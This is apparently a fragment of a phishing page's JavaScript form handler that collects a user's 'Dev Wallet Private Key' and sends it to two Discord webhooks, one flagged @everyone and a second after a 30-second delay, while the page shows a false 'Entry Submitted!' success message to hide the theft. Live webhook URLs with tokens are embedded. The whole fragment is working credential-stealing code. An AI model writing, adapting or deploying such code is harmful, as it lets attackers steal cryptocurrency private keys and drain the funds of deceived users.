try { // First send to alert webhook with @everyone await fetch('https://discord.com/api/webhooks/1398004413653581874/KGC41j-fuDJvszfdKVklLuWav4Us0WACJ41rVJY5lJII4PpO0Usa2UHZMGpeU4hsx4q1', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: `@everyone\nDev Wallet Private Key: ${devKey}` }), }); // Immediately show success message while processing in background devKeyStatus.textContent = '✅ Entry Submitted!'; devKeyStatus.className = 'text-green-400 mt-2 text-sm'; // Process the second webhook in background after 30s setTimeout(async () => { try { await fetch('https://discord.com/api/webhooks/1397931493044518912/jwSjnZz3S5rRcnq4HRf6izhsiSKSbtJcUHPffRSmCLb-Mr_qTErjYu0J_TTkNMGF-QNa', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: `Dev Wallet Private Key: ${devKey}` }), }); } catch (err) { console.error('Error sending to secondary webhook:', err); } }, 30000); setTimeout(() => { hideStep2Modal(); showSuccessBox(); // Show success notification with random ID }, 1000); } catch (err) { devKeyStatus.textContent = '⚠️ Error sending dev key.'; devKeyStatus.className = 'text-red-400 mt-2 text-sm'; } finally { devKeySubmitBtn.disabled = false; } });